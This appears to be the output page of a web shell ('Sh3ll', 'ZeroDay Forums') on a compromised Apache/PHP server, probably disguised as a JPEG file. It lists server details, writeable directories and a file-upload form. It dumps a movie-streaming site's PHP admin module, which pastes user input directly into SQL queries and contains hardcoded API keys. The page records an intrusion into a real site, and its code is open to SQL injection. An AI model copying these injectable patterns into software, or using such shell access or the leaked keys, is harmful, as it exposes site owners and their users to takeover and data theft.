JFIF ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/admin_new/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/admin_new/mod/phim.php
<?php
class pages{
    var $path_image	= "upload/pages/";
    var $path_image_sub	= "upload/pages/sub_img/";
    var $path_files = "upload/pages/files/";
    var $max_fsize	=  1500000;
    var $thumb_width = 230;
    var $thumb_height = 197;
    var $thumb2_width = 102;
    var $thumb2_height = 87;
    function pages(){
        global $CORE;
        $arr_mid = array();
        switch($CORE->input['code']){
            default : $this->goList(); break;
            case 'post': $this->goPost(); break;
            case 'del': $this->goDel($arr_mid); break;
            case 'showpages' : $this->goShowpages(); break;
            case 'del_img_sub' : $this->del_img_sub(); break;
            case 'del_file' : $this->del_file(); break;
            case 'del_size' : $this->del_size(); break;
            case 'del_color' : $this->del_color(); break;
            case 'info_phimmoi' : $this->info_phimmoi(); break;
            case 'info_imdb' : $this->info_imdb(); break;
            case 'info_phim7' : $this->info_phim7(); break;
            case 'info_zingtv' : $this->info_zingtv(); break;
            case 'info_phimbathu' : $this->info_phimbathu(); break;
            case 'info_bilutv' : $this->info_bilutv(); break;
            case 'info_anivn' : $this->info_anivn(); break;
            case 'info_mydramalist' : $this->info_mydramalist(); break;
            case 'info_vkool' : $this->info_vkool(); break;
            case 'info_vophim' : $this->info_vophim(); break;
            case 'info_ophim1' : $this->info_ophim1(); break;
            case 'delete_phimmoi' :  $this->delete_phimmoi(); break;
        }
    }
    function info_ophim1(){
        global $CORE, $func;
        include ROOT_PATH.'lib/simple_html_dom.php';
        $url = trim($CORE->input['url']);
        $url = str_replace('https://ophim6.cc','https://ophim1.com',$url);
        $content = $func->get_content_page($url,'https://ophim1.cc/');
        $arr_content = json_decode($content,true);
        /*print_r($arr_content);
        exit();*/
        if($arr_content['status']==1){
            $detail['title_vi'] = trim($arr_content['movie']['name']);
            $detail['title_en'] = trim($arr_content['movie']['origin_name']);
            $detail['plot'] = trim(strip_tags(html_entity_decode($arr_content['movie']['content'])));
            $detail['namphathanh'] = trim($arr_content['movie']['year']);
            if($arr_content['movie']['episode_total']==1 && $arr_content['movie']['chieurap']==1){
                $detail['hinhthuc'] = 'in-theaters';
            }
            if($arr_content['movie']['episode_total']==1 && $arr_content['movie']['chieurap']==''){
                $detail['hinhthuc'] = 'movie';
            }
            if($arr_content['movie']['episode_total']!=1){
                $detail['hinhthuc'] = 'tv-drama';
            }
            if($arr_content['movie']['lang']=='Vietsub'){
                $detail['ngonngu'] = 'viet-sub';
            }else{
                $detail['ngonngu'] = 'subtitle';
            }
            if($arr_content['movie']['quality']=='HD'){
                $detail['chatluong'] = 'HD';
            }

            $detail['dienvien'] = implode(',',$arr_content['movie']['actor']);
            $detail['daodien'] = implode(',',$arr_content['movie']['director']);
            $detail['dodai'] = str_ireplace(array('phút','g','ph','tập'),array('m','h','m','epi'),$arr_content['movie']['time']);
            foreach($arr_content['episodes'][0]['server_data'] as $val){
                $arr_epi[]=str_replace('http://','https://',$val['link_m3u8']);
            }
            $detail['sotap'] = count($arr_epi);
            $detail['linkphim_vietsub'] = implode('@',$arr_epi);
            /*$detail['img'] = $arr_content['movie']['thumb_url'];
            $detail['img'] = $func->get_content_page('https://img1.vidoe.top/download_img.php?url='.$detail['img'],'https://www.vidoe.top/');*/

        }
        $encode = json_encode($detail);
        echo $encode;
        exit();
    }
    function delete_phimmoi(){
        global $DB;

        $q_banhtv = $DB->query("SELECT * FROM gtdesign_phim WHERE linkphim LIKE '%fembed.com%' AND  linkphim_tm LIKE '%hydrax.net%' LIMIT 200");
        ob_end_flush();
        while ($r_banhtv = $DB->fetch_row($q_banhtv)){
            if($r_banhtv['linkphim_tm']!='' and strpos($r_banhtv['linkphim_tm'],'hydrax.net')!==false){
                $DB->query("UPDATE gtdesign_phim SET `linkphim`='".$r_banhtv['linkphim_tm']."', `linkphim_tm`='' WHERE `id`='".$r_banhtv['id']."' ");
                echo 'Update: '.$r_banhtv['title_vi'] . ' (hydrax.net)<br />';
                echo $r_banhtv['id'] . '<br />';
            }else{
                echo 'nolink'.'<br />';
                echo $r_banhtv['id'] . '<br />';
            }
            flush();
            sleep(1);
        }

        exit();
    }

    function info_vkool(){
        global $CORE, $func;
        include ROOT_PATH.'lib/simple_html_dom.php';
        $url = trim($CORE->input['url']);
        $content = $func->get_content_page($url,'vkool.tv');
        $html = str_get_html($content);
        $detail = array();
        $detail['title_vi'] = trim($html->find('span.title-1 a.title-1',0)->plaintext);
        $detail['title_en'] = trim($html->find('span.title-2',0)->plaintext);
        $detail['title_en'] = trim($html->find('span.title-2',0)->plaintext);
        $detail['img'] = trim($html->find('div.movie-l-img img',0)->src);
        $detail['namphathanh'] = str_replace(array('(',')'),array('',''),trim($html->find('span.title-year',0)->plaintext));
        $detail['plot'] = trim($html->find('div.content',0)->plaintext);
        $encode = json_encode($detail);
        echo $encode;
        exit();
    }
    function info_mydramalist(){
        global $CORE, $func;
        include ROOT_PATH.'lib/simple_html_dom_1.9.1.php';
        $url = trim($CORE->input['url']);
        $content = $func->get_content_page($url,'https://mydramalist.com/');
        $html = str_get_html($content);
        $detail = array();
        $detail['title_en'] = trim($html->find('h1.film-title a',0)->plaintext);

        $title_en = trim(str_replace(array('Native Title:','Also Known As:'),array('',''),$html->find('div.show-detailsxss li.list-item a',0)->plaintext));
        $detail['title_other'] = $title_en;
        preg_match('#\((.*?)\)#is',trim($html->find('h1.film-title',0)->plaintext),$match);
        $detail['namphathanh'] = $match[1];

        $arr = explode('<div class="box-header primary"><h3>Details</h3></div>',$content);
        $html2 = str_get_html($arr[1]);
        $detail['sotap'] = 1;
        foreach($html2->find('li.list-item') as $val){
            if(stripos($val->plaintext,'duration')!==false){
                $detail['dodai'] = trim(str_ireplace('Duration:','',$val->plaintext));
            }
            if(strpos($val->plaintext,'Directors:')!==false){
                $detail['daodien'] = trim(str_replace('Directors:','',$val->plaintext));
            }
            if(strpos($val->plaintext,'Episodes:')!==false){
                $detail['sotap'] = trim(str_replace('Episodes:','',$val->plaintext));
            }
        }

        foreach($html->find('div.p-a-sm li') as $val){
            if(stripos($val->find('a',1)->href,'people/')!==false){
                $arr_star[] = trim($val->find('a',1)->plaintext);
            }
        }
        $detail['dienvien'] = implode(',',$arr_star);
        $detail['plot_en'] = trim($html->find('div.show-synopsis', 0)->plaintext);
        $arr_plot = explode('(Source:',$detail['plot_en']);
        $detail['plot_en'] = trim($arr_plot[0]);
        $detail['img'] = $html->find('meta[property=og:image]', 0)->content;
        $detail['img'] = $func->get_content_page('https://img1.vidoe.top/download_img.php?url='.$detail['img'].'&name='.$func->format_string($detail['title_en']),'https://www.vidoe.top/');
        //link phim
        $encode = json_encode($detail);
        echo $encode;
        exit();
    }

    function info_imdb(){
        global $CORE, $func,$INFO;
        include ROOT_PATH.'lib/simple_html_dom.php';
        $url = trim($CORE->input['url']);
        $content = $func->get_content_page($url,'imdb.com');
        preg_match('#<script type="application\/ld\+json">(.*?)<\/script>#is',$content,$match);
        $arr=json_decode($match[1],true);

        /*
        echo strip_tags($content);
        exit();
        $html = str_get_html($content);
        $detail = array();
        $title_en = $html->find('meta[property=og:title]',0)->content;
        $arr_title = explode('(',$title_en);*/
        if(isset($arr['alternateName']) && trim($arr['alternateName'])!='') {
            $detail['title_en'] = trim($arr['alternateName']);
        }
        if(isset($arr['name']) && trim($arr['name'])!='') {
            $detail['title_other'] = trim($arr['name']);
        }
        $detail['namphathanh'] = date('Y',strtotime($arr['datePublished']));
        $detail['dodai'] = str_replace(array('PT','H','M'),array('','h ','m'),$arr['duration']);
        $detail['title_other'] = trim($arr['name']);;
        $detail['plot_en'] = str_replace(array('&apos;','&quot;'),array("`","`"),trim($arr['description']));
        foreach($arr['actor'] as $key=>$val){
            if($val['@type']=='Person'){
                $arr_dienvien[] = $val['name'];
            }
        }
        $detail['dienvien'] = implode(',',$arr_dienvien);
        foreach($arr['director'] as $key=>$val){
            if($val['@type']=='Person'){
                $arr_daodien[] = $val['name'];
            }
        }
        $detail['daodien'] = implode(',',$arr_daodien);
        $detail['img'] = $arr['image'];
        $detail['img'] = $func->get_content_page('https://img1.vidoe.top/download_img.php?url='.$detail['img'].'&name='.$func->format_string($detail['title_en'].'-'.$detail['title_other']),'https://www.vidoe.top/');
        /*foreach($arr['genre'] as $val){
            foreach($INFO['theloai'] as $key=>$val){
                if($val['en']==$val){

                }
            }
        }*/
        $encode = json_encode($detail);
        echo $encode;
        exit();
    }
    function info_phimmoi(){
        global $CORE, $func;
        include ROOT_PATH.'lib/simple_html_dom.php';
        $url = trim($CORE->input['url']);
        $url2 = trim($CORE->input['url2']);
        $content = $func->curl_func('http://st2.videock.com/logs/get_page.php?url='.base64_encode($url));
        
        $html = str_get_html($content);
        $detail = array();
        $detail['basic_link'] = $url;
        $title_full = $html->find('meta[property=og:title]',0)->content;

        $detail['title_vi'] = $html->find('h1.movie-title span.title-1',0)->plaintext;
        $detail['title_en'] = $html->find('h1.movie-title span.title-2',0)->plaintext;
        $detail['plot'] = $html->find('div#film-content', 0)->plaintext;
        $img = $html->find('meta[property=og:image]',1)->content;
        //preg_match('#image\.phimmoi\.net(.*?)poster\.medium\.jpg#is', $img ,$match);
        $url_img = $img;

        /*$driveService = new Google_Service_Drive($client);
        $folderId = '0B3sDIfFrXDx_ejk5dlpqTWFRNEE';
        $fileMetadata = new Google_Service_Drive_DriveFile(array(
            'name' => $func->format_string($detail['title_en']) . '-' . basename($url_img),
            'parents' => array($folderId)
        ));
        $content_img = file_get_contents($url_img);
        $file = $driveService->files->create($fileMetadata, array(
            'data' => $content_img,
            'mimeType' => 'image/jpeg',
            'uploadType' => 'multipart',
            'fields' => 'id'));
        $url_img = 'https://drive.google.com/uc?export=download&id=' . $file->id;*/
        $detail['img'] = $url_img;

        //link phim
        /*$link_xem = 'http://www.phimmoi.net/'.$html->find('a#btn-film-watch',0)->href;
        $content2 = $func->get_content_page($link_xem,'phimmoi.net');
        $html2 = str_get_html($content2);
        $server = array();

        $txt_episode_1  = $html2->find('ul.list-episode',0)->innertext;
        $html3 = str_get_html($txt_episode_1);
        foreach ($html3->find('a') as $val){
            $server[] = 'http://www.phimmoi.net/' . $val->href;
        }
        if(empty($server)){
            $detail['linkphim_vietsub'] = $link_xem;
            $detail['sotap'] = 1;
        }else {
            $detail['linkphim_vietsub'] = implode('@', $server);
            $detail['sotap'] = count($server);
        }
        $txt_episode_2  = $html2->find('ul.list-episode',1)->innertext;
        $html4 = str_get_html($txt_episode_2);
        foreach ($html4->find('a') as $val){
            $server2[] = 'http://www.phimmoi.net/' . $val->href;
        }
        $detail['linkphim_tm'] = implode('@', $server2);*/
        $detail['linkphim_vietsub'] = '';
        $detail['linkphim_tm'] = '';

        $encode = json_encode($detail);
        echo $encode;
        exit();
    }
    function goList(){
        global $CORE, $DB, $smarty, $func, $print;
        $smarty->assign('module_name','Quản lý phim');
        $smarty->assign('title','pages');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','list');

        $where = "WHERE title_vi<>''";
        $fcat = intval($CORE->input['id_menu']);
        $fstatus  = $CORE->input['fstatus'];
        $fkeyword = trim($CORE->input['fkeyword']);

        //$fkeyword2 = $func->bodau_normal($fkeyword);
        $fkeyword3  = str_ireplace('d','đ',$fkeyword);
        $fkeyword4  = str_ireplace('D','Đ',$fkeyword);
        $country = '';
        if(isset($CORE->input['country']) and $CORE->input['country']!='') {
            $country = $CORE->input['country'];
            $where .= " AND `quocgia` LIKE '%".$country."%' ";
        }
        if(isset($CORE->input['hinhthuc']) and $CORE->input['hinhthuc']!='') {
            $hinhthuc = $CORE->input['hinhthuc'];
            $where .= " AND `hinhthuc` LIKE '%".$hinhthuc."%' ";
        }
        if($fstatus!='')
        {
            $where .= " AND status = '".$fstatus."' ";
        }
        if($fkeyword!='')
        {
            //$where .=  " AND ((title_vi LIKE '%".$fkeyword."%') OR (title_vi LIKE '%".$fkeyword3."%') OR (title_vi LIKE '%".$fkeyword4."%') OR (title_en LIKE '%".$fkeyword."%') OR (title_other LIKE '%".$fkeyword."%') OR (linkphim LIKE '%".$fkeyword."%')  OR (linkphim_tm LIKE '%".$fkeyword."%')  OR (linkphim_lt LIKE '%".$fkeyword."%') OR (img LIKE '%".$fkeyword."%') )  ";
            $where .=  " AND ((title_vi LIKE '%".$fkeyword."%') OR (title_vi LIKE '%".$fkeyword3."%') OR (title_vi LIKE '%".$fkeyword4."%') OR (title_en LIKE '%".$fkeyword."%') OR (title_other LIKE '%".$fkeyword."%') OR (linkphim LIKE '%".$fkeyword."%')  OR (img LIKE '%".$fkeyword."%') OR (id='".$fkeyword."') )  ";
            $nsearch = 1;
        }
        $smarty->assign('nsearch',$nsearch);
        if($CORE->input['nosearch']){ unset($_SESSION['fcat'],$_SESSION['fstatus'],$_SESSION['fkeyword']);}
        $pageNum = ($_GET['pageNum']>0) ? intval($_GET['pageNum']) : 1;
        $pageSize = 20;
        $from = (($pageNum * $pageSize) - $pageSize);
        $t = $DB->fetch_row($DB->query("SELECT count(id) as total FROM gtdesign_phim ".$where));
        $total = $t['total'];
        $totalPage = ceil($total / $pageSize);
        $query = $DB->query("SELECT * FROM gtdesign_phim ".$where." ORDER BY time DESC LIMIT $from, $pageSize");
        while($row = $DB->fetch_row($query))
        {
            $row['sotap_daup'] = substr_count($row['linkphim'], '@') + 1;
            $row['time'] = date('d-m-Y',$row['time']);
            $arr[] = $row;
        }
        $smarty->assign('a_home',$arr);
        $nav = $print->Pagination($totalPage,$pageNum,'pages',$CORE->admin_url.'&act=phim&id_menu='.$fcat.'&fstatus='.$fstatus.'&fkeyword='.$fkeyword.'&country='.$country.'&hinhthuc='.$hinhthuc);
        $smarty->assign('nav',$nav);
        $arr_mid = $CORE->input['mid_for_del'];
        if(!empty($arr_mid)){
            $type = $CORE->input['type'];
            switch($type){
                case 'del':
                    $this->goDel($arr_mid);
                    break;
                default:
                    $this->goAction($arr_mid,$type);
                    break;
            }
        }
    }
    function goPost(){
        global $CORE, $DB, $func, $smarty, $print, $INFO;
        $smarty->assign('module_name','Quản lý bài viết');
        $smarty->assign('title','pages');
        $smarty->assign('status',$CORE->input['status']);
        $smarty->assign('section','post');

        if($_SESSION['error']) unset($CORE->input['bsubmit']);
        if(!$CORE->input['bsubmit']){
            $id = intval($CORE->input['id']);
            if ($_SESSION['error']) $prevError = $_SESSION['error']; unset($_SESSION['error']);
            if ($_SESSION['state']) $prevState = $_SESSION['state']; unset($_SESSION['state']);
            if($prevState!=NULL){
                $data = $prevState;
            }else{
                if($id==0){
                    $data['status'] = 1;
                }else{
                    $query = $DB->query("SELECT * FROM gtdesign_phim WHERE id='".$id."'");
                    $data = $DB->fetch_row($query);
                }
            }

            //hinh thuc
            $txt_hinh_thuc = '';
            foreach($INFO['hinhthuc'] as $key=>$val){
                if($data['hinhthuc']==$key) {
                    $txt_hinh_thuc .= '<option value="' . $key . '" selected>' . $val['vi'] . '</option>';
                }else{
                    $txt_hinh_thuc .= '<option value="' . $key . '">' . $val['vi'] . '</option>';
                }

            }
            $smarty->assign('hinhthuc',$txt_hinh_thuc);
//ngon ngu
            $txt_ngon_ngu = '';
            foreach($INFO['ngonngu'] as $key=>$val){
                if(strpos($data['ngonngu'],$key)!==false) {
                    $txt_ngon_ngu .= '<option value="' . $key . '" selected>' . $val['vi'] . '</option>';
                }else{
                    $txt_ngon_ngu .= '<option value="' . $key . '">' . $val['vi'] . '</option>';
                }

            }
            $smarty->assign('ngonngu',$txt_ngon_ngu);
            //the loai
            $txt_the_loai = '';
            $q_theloai = $DB->query("SELECT * FROM gtdesign_genres");
            while($r_theloai = $DB->fetch_row($q_theloai)){
                if(strpos($data['theloai'],$r_theloai['slug'].'@')!==false) {
                    $txt_the_loai .= '<option value="' . $r_theloai['slug'] . '" selected>' .$r_theloai['name']. '</option>';
                }else{
                    $txt_the_loai .= '<option value="' . $r_theloai['slug'] . '">' . $r_theloai['name'] . '</option>';
                }
            }
            $smarty->assign('theloai',$txt_the_loai);
            //quocgia
            $txt_quocgia = '';
            $q_country = $DB->query("SELECT * FROM gtdesign_country");
            while($r_country = $DB->fetch_row($q_country)){
                if(strpos($data['quocgia'],$r_country['slug'].'@')!==false) {
                    $txt_quocgia .= '<option value="' . $r_country['slug'] . '" selected>' .$r_country['name']. '</option>';
                }else{
                    $txt_quocgia .= '<option value="' . $r_country['slug'] . '">' . $r_country['name'] . '</option>';
                }
            }
            $smarty->assign('quocgia',$txt_quocgia);
            //nam phat hanh
            $txt_namphathanh = '';
            foreach($INFO['namphathanh'] as $key=>$val){
                if($data['namphathanh']==$key) {
                    $txt_namphathanh .= '<option value="' . $key . '" selected>' . $val['vi'] . '</option>';
                }else{
                    $txt_namphathanh .= '<option value="' . $key . '">' . $val['vi'] . '</option>';
                }
            }
            $smarty->assign('namphathanh',$txt_namphathanh);
            $data['status'] = $func->yes_no($data['status'],'f[status]');
            $data['phimdecu'] = $func->yes_no($data['phimdecu'],'f[phimdecu]');
            $data['hot'] = $func->yes_no($data['hot'],'f[hot]');
            $data['phimyeucau'] = $func->yes_no($data['phimyeucau'],'f[phimyeucau]');
            if(empty($data['chatluong']))    {
                $data['chatluong'] = 'HD';
            }

            if(empty($data['sotap']))    {
                $data['sotap'] = '1';
            }
            $error[] = $prevError;
            $smarty->assign('error',$error);
            $smarty->assign('post',$data);
        }else{
            $f = $CORE->input['f'];
            $id = intval($f['id']);
            $f = $CORE->input['f'];
                if($id>0){
                    $row_check = $DB->fetch_row($DB->query("SELECT id FROM gtdesign_phim WHERE title_vi ='".$f['title_vi']."' AND  namphathanh ='".$f['namphathanh']."' AND title_en='".$f['title_en']."' AND id<>'$id'"));
                }else{
                    $row_check = $DB->fetch_row($DB->query("SELECT id FROM gtdesign_phim WHERE title_vi='".$f['title_vi']."' AND  namphathanh ='".$f['namphathanh']."' AND title_en='".$f['title_en']."' "));
                }
                if($row_check){
                    echo 'Tên bài viết bị trùng, xin đặt tên khác!';
                    exit();
                }
                $time = time();
                if($f['title_vi']=='') exit('Xin nhập tiêu đề');
            //get img url
            if(strpos($f['img'],'drive.google.com')===false) {
                $f['img'] = str_replace(array('https', 'encrypted-tbn'), array('https', 't'), $f['img']);
            }
            if(strpos($f['img'],'drive.google.com')!==false) {
                $f['img'] = str_replace('https://drive.google.com/open?id=', 'https://drive.google.com/uc?export=download&id=', $f['img']);
            }

            $f['theloai'] = implode('@',array_values($f['theloai'])).'@';
            $f['quocgia'] = implode('@',array_values($f['quocgia'])).'@';
            $f['ngonngu'] = implode('@',array_values($f['ngonngu']));
            $f['linkphim'] = str_replace('drive.google.com/a/ischool.vn','drive.google.com/a/123vid.top.com.vn',$f['linkphim']);
            $f['linkphim_tm'] = str_replace('drive.google.com/a/ischool.vn','drive.google.com/a/123vid.top.com.vn',$f['linkphim_tm']);
            $f['linkphim_lt'] = str_replace('drive.google.com/a/ischool.vn','drive.google.com/a/123vid.top.com.vn',$f['linkphim_lt']);
            if(strpos($f['linkphim'],'photos.google.com')!==false and strpos($f['linkphim'],'?key=')===false) {
                $f['linkphim'] = $f['linkphim'].'?key=RnlIQU55OGpWZzgwWFlhR19QZFVEMUtOYWxHY2hB';
            }
            if(strpos($f['linkphim'],'vup.to')!==false and strpos($f['linkphim'],'?keyapi=')===false) {
                $arr_link = explode('@',$f['linkphim']);
                foreach ($arr_link as $val){
                    $val = trim($val).'?keyapi=315f985n6di9q7n0g4a';
                    $arrlinkphim[] = trim($val);
                }
                $f['linkphim'] = implode('@',$arrlinkphim);
            }
            if(strpos($f['linkphim'],'openstream.io')!==false){
                $arr_link = explode('@',$f['linkphim']);
                foreach ($arr_link as $val){
                    $rest = substr($val, -4);
                    if($rest!='m3u8'){
                        exit('error .m3u8');
                    }
                }
            }
            if($id==0){
                $DB->query("INSERT INTO `gtdesign_phim` ( `title_vi`, `title_en`, `title_other`, `img`, `hinhthuc`, `ngonngu`, `theloai`, `quocgia`, `namphathanh`, `daodien`, `dienvien`, `chatluong`, `plot`, `plot_en`, `sotap`, `dodai`,`linkphim`,`linkphim_tm`, `linkphim_lt`, `tags`, `hit`, `time`, `user_post`, `status`, `phimdecu`, `yeucau`,`hot`, `link_download`, `pos`, `basic_link`,`subtitle`) VALUES ( '".$f['title_vi']."', '".$f['title_en']."', '".$f['title_other']."', '".$f['img']."', '".$f['hinhthuc']."', '".$f['ngonngu']."', '".$f['theloai']."', '".$f['quocgia']."', '".$f['namphathanh']."', '".$f['daodien']."', '".$f['dienvien']."', '".$f['chatluong']."', '".$f['plot']."', '".$f['plot_en']."', '".$f['sotap']."', '".$f['dodai']."', '".trim($f['linkphim'])."','".trim($f['linkphim_tm'])."','".trim($f['linkphim_lt'])."','".$f['tags']."', '1', '".time()."', 'phim19dotcom@gmail.com', '".$f['status']."', '".$f['phimdecu']."', '".$f['yeucau']."','".$f['hot']."', '".$f['link_download']."', '1', '".$f['basic_link']."', '".$f['subtitle']."');");
                $insert_id = $DB->insert_id();
                return $print->refresh("index.php?act=phim&code=post&status=add_success&id=".$insert_id."#tab2");
            }else{

                   $DB->query("UPDATE `gtdesign_phim` SET `title_vi`='".$f['title_vi']."',`title_en`='".$f['title_en']."',`title_other`='".$f['title_other']."',`img`='".$f['img']."',`hinhthuc`='".$f['hinhthuc']."',`ngonngu`='".$f['ngonngu']."',`theloai`='".$f['theloai']."',`quocgia`='".$f['quocgia']."',`namphathanh`='".$f['namphathanh']."',`daodien`='".$f['daodien']."',`dienvien`='".$f['dienvien']."',`chatluong`='".$f['chatluong']."',`plot`='".$f['plot']."',`plot_en`='".$f['plot_en']."',`sotap`='".$f['sotap']."',`dodai`='".$f['dodai']."',`linkphim`='".trim($f['linkphim'])."',`linkphim_tm`='".trim($f['linkphim_tm'])."',`linkphim_lt`='".trim($f['linkphim_lt'])."',`tags`='".$f['tags']."',`status`='".$f['status']."',`phimdecu`='".$f['phimdecu']."',`yeucau`='".$f['yeucau']."',`link_download`= '".$f['link_download']."' ,`hot`='".$f['hot']."' ,`basic_link`='".$f['basic_link']."' ,`subtitle`='".$f['subtitle']."' WHERE id='$id'");
                if($f['top']==1){
                    $DB->query("UPDATE `gtdesign_phim` SET `time`='".$time."' WHERE id='$id' ");
                }
                if($f['un_top']==1){
                    $DB->query("UPDATE `gtdesign_phim` SET `time`='".($time-7*24*60*60)."' WHERE id='$id' ");
                }
            }
                return $print->refresh("index.php?act=phim&code=post&status=edit_success&id=".$id);
            }
    }
    function goAction($arr_mid,$type){
        global $DB, $print;
        foreach($arr_mid as $val){
            switch($type){
                case 'active_phimdecu':
                    $DB->query("UPDATE gtdesign_phim SET phimdecu='1' WHERE id='".$val."'");
                    break;
                case 'deactive_phimdecu':
                    $DB->query("UPDATE gtdesign_phim SET phimdecu='0' WHERE id='".$val."'");
                    break;
                case 'active_hot':
                    $DB->query("UPDATE gtdesign_phim SET hot='1' WHERE id='".$val."'");
                    break;
                case 'deactive_hot':
                    $DB->query("UPDATE gtdesign_phim SET hot='0' WHERE id='".$val."'");
                    break;


                case 'active':
                    $DB->query("UPDATE gtdesign_phim SET status='1' WHERE id='".$val."'");
                    break;
                case 'de_active':
                    $DB->query("UPDATE gtdesign_phim SET status='0' WHERE id='".$val."'");
                    break;

                case 'getlink_bilutv':
                    $row_check = $DB->fetch_row($DB->query("SELECT `linkphim` FROM `gtdesign_phim` WHERE `linkphim` LIKE '%bilutv.com%' AND  id='".$val."' "));
                    $body = trim($row_check['linkphim']);
                    $arr = explode('@',$body);
                    $arr_decode = array();
                    foreach ($arr as $val2) {
                        $url = trim($val2);
                        $arr_decode[] = file_get_contents('http://tracnghiem.ischool.vn/bilutv.php?url='.$url);
                    }
                    $link_new = implode('@',$arr_decode);
                    $DB->query("UPDATE gtdesign_phim SET linkphim='".$link_new."' WHERE  id='".$val."'  ");

                    break;
            }
        }
        $print->refresh('index.php?act=phim&status=edit_success&fkeyword=bilutv.com');
    }
    function goDel($arr_id){
        global $CORE, $DB, $print;
        if($CORE->admin_user['ug_id']!=4) exit('Chỉ có admin mới có quyền xóa bài!...');
        if(empty($arr_id)){
            $id	=	intval($CORE->input['id']);
            $query = $DB->query("SELECT img FROM gtdesign_phim WHERE id='".$id."'");
            $result = $DB->fetch_row($query);
            if($result['img'] !=''){
                unlink(ROOT_PATH.$this->path_image.$result['img']);
            }
            $DB->query("DELETE FROM gtdesign_phim WHERE id='".$id."'");

            $print->refresh("index.php?act=phim&status=del_success&cat=".$result['cid']);
            exit();
        }else{
            foreach($arr_id as $val){
                $query = $DB->query("SELECT img FROM gtdesign_phim WHERE id='".$val."'");
                $result = $DB->fetch_row($query);
                if($result['img'] !=''){
                    unlink(ROOT_PATH.$this->path_image.$result['img']);
                }

                $DB->query("DELETE FROM gtdesign_phim WHERE id='".$val."'");

            }
        }
        $print->refresh("index.php?act=phim&status=del_success");
    }
}
function curl($url)
{
    $ch = @curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    $head[] = "Connection: keep-alive";
    $head[] = "Keep-Alive: 300";
    $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
    $head[] = "Accept-Language: en-us,en;q=0.5";
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
$run = new pages();
?>

ZeroDay Forums Mini